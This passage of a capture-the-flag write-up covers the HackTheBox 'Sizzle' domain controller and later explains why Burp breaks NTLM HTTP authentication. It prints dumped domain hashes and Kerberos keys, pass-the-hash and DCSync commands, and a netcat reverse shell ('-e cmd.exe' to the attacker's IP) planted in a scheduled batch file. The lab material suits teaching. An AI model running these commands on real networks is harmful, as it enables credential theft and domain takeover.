DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
amanda:1104:aad3b435b51404eeaad3b435b51404ee:7d0516ea4b6ed084f3fdf71c47d9beb3:::
mrlky:1603:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::
sizzler:1604:aad3b435b51404eeaad3b435b51404ee:d79f820afad0cbc828d79e16a6f890de:::
SIZZLE$:1001:aad3b435b51404eeaad3b435b51404ee:a571008b8559fc7e6abb364efa15312c:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:e562d64208c7df80b496af280603773ea7d7eeb93ef715392a8258214933275d
Administrator:aes128-cts-hmac-sha1-96:45b1a7ed336bafe1f1e0c1ab666336b3
Administrator:des-cbc-md5:ad7afb706715e964
krbtgt:aes256-cts-hmac-sha1-96:0fcb9a54f68453be5dd01fe555cace13e99def7699b85deda866a71a74e9391e
krbtgt:aes128-cts-hmac-sha1-96:668b69e6bb7f76fa1bcd3a638e93e699
krbtgt:des-cbc-md5:866db35eb9ec5173
amanda:aes256-cts-hmac-sha1-96:60ef71f6446370bab3a52634c3708ed8a0af424fdcb045f3f5fbde5ff05221eb
amanda:aes128-cts-hmac-sha1-96:48d91184cecdc906ca7a07ccbe42e061
amanda:des-cbc-md5:70ba677a4c1a2adf
mrlky:aes256-cts-hmac-sha1-96:b42493c2e8ef350d257e68cc93a155643330c6b5e46a931315c2e23984b11155
mrlky:aes128-cts-hmac-sha1-96:3daab3d6ea94d236b44083309f4f3db0
mrlky:des-cbc-md5:02f1a4da0432f7f7
sizzler:aes256-cts-hmac-sha1-96:85b437e31c055786104b514f98fdf2a520569174cbfc7ba2c895b0f05a7ec81d
sizzler:aes128-cts-hmac-sha1-96:e31015d07e48c21bbd72955641423955
sizzler:des-cbc-md5:5d51d30e68d092d9
SIZZLE$:aes256-cts-hmac-sha1-96:037a6a1bb47867be060491ddc54ff4bdf8057e1713dc3e2dd9a88cd5305384f4
SIZZLE$:aes128-cts-hmac-sha1-96:f7e839c51376067067d425a3baba2693
SIZZLE$:des-cbc-md5:3210b6852a4a2ae9
[*] Cleaning up...
Shell
Now get a shell with pass the hash. I can check that hash using crackmapexec
:
root@kali:/opt/impacket# crackmapexec 10.10.10.103 -u administrator -H f6b7160bfc91823792e0ac3a162c9267
CME 10.10.10.103:445 SIZZLE Windows 10.0 Build 14393 (name:SIZZLE) (domain:HTB)
CME 10.10.10.103:445 SIZZLE [+] HTB\administrator f6b7160bfc91823792e0ac3a162c9267 (Pwn3d!)
[*] KTHXBYE!
I’ll get a shell with wmiexec.py
:
root@kali:/opt/impacket# wmiexec.py -hashes :f6b7160bfc91823792e0ac3a162c9267 administrator@10.10.10.103
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
htb\administrator
From there, I can get the flag:
C:\users\administrator\desktop>type root.txt
91c58493...
Beyond Root - Unintended Paths
Sizzle has two unintended paths that I know of, that allow you to skip a lot of the host. Here’s a diagram of the general steps of Sizzle, with the two unintended paths shown:
Unintended Path #1 - clean.bat
The permissions in the administrator’s home directory are such that I can’t read at the root, but I can read in known folders:
PS htb\amanda@SIZZLE administrator> ls
Access to the path 'C:\users\administrator' is denied.
At line:1 char:1
+ ls
+ ~~
+ CategoryInfo : PermissionDenied: (C:\users\administrator:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
PS htb\amanda@SIZZLE administrator> cd desktop
PS htb\amanda@SIZZLE desktop> ls
Directory: C:\users\administrator\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/10/2018 6:24 PM 32 root.txt
Now I can’t read root.txt
, but I can look around in other known folders, like documents
:
PS htb\amanda@SIZZLE documents> ls
Directory: C:\users\administrator\documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/10/2018 6:11 PM 79 clean.bat
It makes sense that there’s a script to clean up things, since I saw files being deleted from the SMB share at the start of the box. I can read the file:
PS htb\amanda@SIZZLE documents> type clean.bat
forfiles -p "C:\Department Shares\Users\Public" -s -m *.* /C "cmd /c del @path"
It turns out amanda has full control over this file:
PS htb\amanda@SIZZLE documents> icacls clean.bat
clean.bat NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
HTB\Administrator:(I)(F)
HTB\amanda:(I)(F)
So I’ll upload nc
to the host, and add a call to nc
to the bat file:
PS htb\amanda@SIZZLE documents> echo "" | out-file -encoding ASCII -append clean.bat
PS htb\amanda@SIZZLE documents> echo '\windows\system32\spool\drivers\color\n.exe -e cmd.exe 10.10.14.4 443' | out-file -encoding ASCII -append test.bat
PS htb\amanda@SIZZLE documents> type clean.bat
forfiles -p "C:\Department Shares\Users\Public" -s -m *.* /C "cmd /c del @path"
c:\windows\system32\spool\drivers\color\n.exe -e cmd.exe 10.10.14.4 443
When the job runs, I get an administrator shell:
root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.103.
Ncat: Connection from 10.10.10.103:65340.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
htb\administrator
Unintended Path #2 - Hashes
There’s an unusual file in \Windows\System32
:
PS htb\amanda@SIZZLE system32> ls *.txt
Directory: C:\windows\system32
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/11/2018 11:15 PM 996 file.txt
-a---- 7/16/2016 9:20 AM 1649 WindowsCodecsRaw.txt
The file contains hashes:
PS htb\amanda@SIZZLE system32> type file.txt
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:296ec447eee58283143efbd5d39408c8:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c718f548c75062ada93250db208d3178:::
Domain User ID Hash
------ ---- -- ----
HTB.LOCAL Guest 501 -
amanda:1104:aad3b435b51404eeaad3b435b51404ee:7d0516ea4b6ed084f3fdf71c47d9beb3:::
mrb3n:1105:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::
mrlky:1603:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::
The hash for Administrator doesn’t seem to work, but mrlky’s doesn’t. This means I can skip Kerberoasting mrlky and just use hash to run my DCSync attack:
root@kali# secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef -just-dc HTB.LOCAL/mrlky@10.10.10.103
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
...[snip]...
Beyond Root - NTLM Auth
Overview
I lost a lot of time thinking that amanda’s creds didn’t work with the /certsrv
page because I was running through burp
, which is my default position. When I finally gave up and asked for help as to where to go next, someone hinted me at that page, and only after a few minutes of our both logging into the same box with his working and mine not did we figure out the only different was that I had burp
on. I tweeted about this back in January:
Hopefully this tweet may save you hours that I lost - older versions of burp will break some NTLM authentication. So if you think you have good creds but they don't work, try turning off burp or updating!https://t.co/Kdf3NqWhAF
— 0xdf (@0xdf_) January 28, 2019
I wanted to figure out what was going on. That required two things:
- An understanding of how NTLM authentication over HTTP works;
- Figuring out what is different when running through Burp.
NTLM HTTP Auth
This is a great page for understanding the details of NTLM authentication. For more details, it’s a good read. But here’s the basics. NTLM authentication over HTTP takes place over a series of steps (the site above calls it a 4-way handshake, but there are more than 4 steps). This is at layer 7, after the TCP 3-way handshake is already complete. The messages binary, sent in base64.
The diagram from innovation.ch shows the steps nicely:
1: C --> S GET ...
2: C <-- S 401 Unauthorized
WWW-Authenticate: NTLM
3: C --> S GET ...
Authorization: NTLM <base64-encoded type-1-message>
4: C <-- S 401 Unauthorized
WWW-Authenticate: NTLM <base64-encoded type-2-message>
5: C --> S GET ...
Authorization: NTLM <base64-encoded type-3-message>
6: C <-- S 200 Ok
So the client issues a GET request, and the server responds 401, with a header saying to auth over NTLM. The client sends another GET with the type-1 message, which can contain information about the client. The server responds 401 again, this time with a message including some info about itself, and a nonce (8 random bytes). The client uses the password hash to encrypt the nonce and sends it back. If the server verifies that it can decrypt the nonce using that user’s hash (either itself if it is the DC, or by sending it to the DC for verification), then it sends back a 200 OK and continues with the page.
Without Burp
So what is happening with burp
? It is fortunate that Sizzle allows all of this over HTTP, so I don’t have to bother with SSL key logging to see the traffic in Wireshark. I’ll connect twice, once through burp
and once without, and see what’s different.
The first time I log in I’m going without burp
. I visit the site, enter amanda’s creds, and I’m logged in. In Wireshark, I see two TCP streams. The first stream, I see a GET request from Firefox, with a 401 return. The 401 respond has two headers, WWW-Authenticate: Negotiate
and WWW-Authenticate: NTLM
:
I can see the TCP connection close down at the end of the request.
The second stream starts with a new TCP handshake. Then the type 1 message from the client, then the type two message from the server. In the same TCP stream, the client responds again with the type three message:
GET /certsrv/ HTTP/1.1
Host: sizzle.htb.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
HTTP/1.1 401 Unauthorized
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
WWW-Authenticate: NTLM TlRMTVNTUAACAAAABgAGADgAAAAFgokCuzldAQELDG0AAAAAAAAAAHoAegA+AAAACgA5OAAAAA9IAFQAQgACAAYASABUAEIAAQAMAFMASQBaAFoATABFAAQAEgBIAFQAQgAuAEwATwBDAEEATAADACAAcwBpAHoAegBsAGUALgBIAFQAQgAuAEwATwBDAEEATAAFABIASABUAEIALgBMAE8AQwBBAEwABwAIAI2CbQJyEtUBAAAAAA==
Date: Fri, 24 May 2019 20:48:15 GMT
Content-Length: 341
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Not Authorized</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Not Authorized</h2>
<hr><p>HTTP Error 401. The requested resource requires user authentication.</p>
</BODY></HTML>
GET /certsrv/ HTTP/1.1
Host: sizzle.htb.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: NTLM TlRMTVNTUAADAAAAGAAYAGIAAACmAKYAegAAAAAAAABAAAAADAAMAEAAAAAWABYATAAAAAAAAAAAAAAABYIIAGEAbQBhAG4AZABhAFcATwBSAEsAUwBUAEEAVABJAE8ATgCOu6RkK3YS7HSjleVmKAVolKVE+CezuYRtJ4sHDazUNlA5MuskRgg9AQEAAAAAAAAAlXiBcxLVARgyT9XdyeXRAAAAAAIABgBIAFQAQgABAAwAUwBJAFoAWgBMAEUABAASAEgAVABCAC4ATABPAEMAQQBMAAMAIABzAGkAegB6AGwAZQAuAEgAVABCAC4ATABPAEMAQQBMAAUAEgBIAFQAQgAuAEwATwBDAEEATAAHAAgAjYJtAnIS1QEAAAAA
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Server: Microsoft-IIS/10.0
Set-Cookie: ASPSESSIONIDAATADTDC=DBCHAKCAMGKOPCGPNNJBDCLH; path=/
Persistent-Auth: true
X-Powered-By: ASP.NET
Date: Fri, 24 May 2019 20:48:15 GMT
Content-Length: 3682
...[snip]...
I can actually look at these messages and see the info in them. Type-1 is basically empty, since my host doesn’t have domain information:
root@kali# echo TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= | base64 -d | xxd
00000000: 4e54 4c4d 5353 5000 0100 0000 0782 0800 NTLMSSP.........
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
In the type-2 message, there’s a nonce as well as info about the server:
root@kali# echo TlRMTVNTUAACAAAABgAGADgAAAAFgokCuzldAQELDG0AAAAAAAAAAHoAegA+AAAACgA5OAAAAA9IAFQAQgACAAYASABUAEIAAQAMAFMASQBaAFoATABFAAQAEgBIAFQAQgAuAEwATwBDAEEATAADACAAcwBpAHoAegBsAGUALgBIAFQAQgAuAEwATwBDAEEATAAFABIASABUAEIALgBMAE8AQwBBAEwABwAIAI2CbQJyEtUBAAAAAA== | base64 -d | xxd
00000000: 4e54 4c4d 5353 5000 0200 0000 0600 0600 NTLMSSP.........
00000010: 3800 0000 0582 8902 bb39 5d01 010b 0c6d 8........9]....m
00000020: 0000 0000 0000 0000 7a00 7a00 3e00 0000 ........z.z.>...
00000030: 0a00 3938 0000 000f 4800 5400 4200 0200 ..98....H.T.B...
00000040: 0600 4800 5400 4200 0100 0c00 5300 4900 ..H.T.B.....S.I.
00000050: 5a00 5a00 4c00 4500 0400 1200 4800 5400 Z.Z.L.E.....H.T.
00000060: 4200 2e00 4c00 4f00 4300 4100 4c00 0300 B...L.O.C.A.L...
00000070: 2000 7300 6900 7a00 7a00 6c00 6500 2e00 .s.i.z.z.l.e...
00000080: 4800 5400 4200 2e00 4c00 4f00 4300 4100 H.T.B...L.O.C.A.
00000090: 4c00 0500 1200 4800 5400 4200 2e00 4c00 L.....H.T.B...L.
000000a0: 4f00 4300 4100 4c00 0700 0800 8d82 6d02 O.C.A.L.......m.
000000b0: 7212 d501 0000 0000 r.......
The type-3 message has the username and the signed nonce:
root@kali# echo TlRMTVNTUAADAAAAGAAYAGIAAACmAKYAegAAAAAAAABAAAAADAAMAEAAAAAWABYATAAAAAAAAAAAAAAABYIIAGEAbQBhAG4AZABhAFcATwBSAEsAUwBUAEEAVABJAE8ATgCOu6RkK3YS7HSjleVmKAVolKVE+CezuYRtJ4sHDazUNlA5MuskRgg9AQEAAAAAAAAAlXiBcxLVARgyT9XdyeXRAAAAAAIABgBIAFQAQgABAAwAUwBJAFoAWgBMAEUABAASAEgAVABCAC4ATABPAEMAQQBMAAMAIABzAGkAegB6AGwAZQAuAEgAVABCAC4ATABPAEMAQQBMAAUAEgBIAFQAQgAuAEwATwBDAEEATAAHAAgAjYJtAnIS1QEAAAAA | base64 -d | xxd
00000000: 4e54 4c4d 5353 5000 0300 0000 1800 1800 NTLMSSP.........
00000010: 6200 0000 a600 a600 7a00 0000 0000 0000 b.......z.......
00000020: 4000 0000 0c00 0c00 4000 0000 1600 1600 @.......@.......
00000030: 4c00 0000 0000 0000 0000 0000 0582 0800 L...............
00000040: 6100 6d00 6100 6e00 6400 6100 5700 4f00 a.m.a.n.d.a.W.O.
00000050: 5200 4b00 5300 5400 4100 5400 4900 4f00 R.K.S.T.A.T.I.O.
00000060: 4e00 8ebb a464 2b76 12ec 74a3 95e5 6628 N....d+v..t...f(
00000070: 0568 94a5 44f8 27b3 b984 6d27 8b07 0dac .h..D.'...m'....
00000080: d436 5039 32eb 2446 083d 0101 0000 0000 .6P92.$F.=......
00000090: 0000 0095 7881 7312 d501 1832 4fd5 ddc9 ....x.s....2O...
000000a0: e5d1 0000 0000 0200 0600 4800 5400 4200 ..........H.T.B.
000000b0: 0100 0c00 5300 4900 5a00 5a00 4c00 4500 ....S.I.Z.Z.L.E.
000000c0: 0400 1200 4800 5400 4200 2e00 4c00 4f00 ....H.T.B...L.O.
000000d0: 4300 4100 4c00 0300 2000 7300 6900 7a00 C.A.L... .s.i.z.
000000e0: 7a00 6c00 6500 2e00 4800 5400 4200 2e00 z.l.e...H.T.B...
000000f0: 4c00 4f00 4300 4100 4c00 0500 1200 4800 L.O.C.A.L.....H.
00000100: 5400 4200 2e00 4c00 4f00 4300 4100 4c00 T.B...L.O.C.A.L.
00000110: 0700 0800 8d82 6d02 7212 d501 0000 0000 ......m.r.......
And then the server responds with 200 and the page.
With Burp
So I clear my cookies, restart Firefox and Wireshark, and run do it again, this time with burp
enabled.
Right away, I notice that there’s more streams, four. Stream zero looks exactly the same as the previous test. Stream one starts just like the second stream above, but ends after the server sends the 401 with the type-2 message:
I can see the FIN/ACK, ACK at the end closing the TCP connection.
The next TCP connection starts with a GET request with the type-3 message. But this time, the server returns 401.
It seems that burp
causes a new TCP connection to start between the first two messages and the third message in the NTLM auth. There’s a paragraph on the innovation.ch page that explicitly states this is a problem:
Keeping the connection alive
As mentioned above, this scheme authenticates connections, not requests. This manifests itself in that the network connection must be kept alive during the second part of the handshake, i.e. between the receiving of the type-2 message from the server (step 4) and the sending of the type-3 message (step 5). Each time the connection is closed this second part (steps 3 through 6) must be repeated over the new connection (i.e. it’s not enough to just keep sending the last type-3 message). Also, once the connection is authenticated, the Authorization header need not be sent anymore while the connection stays open, no matter what resource is accessed.
Mystery solved.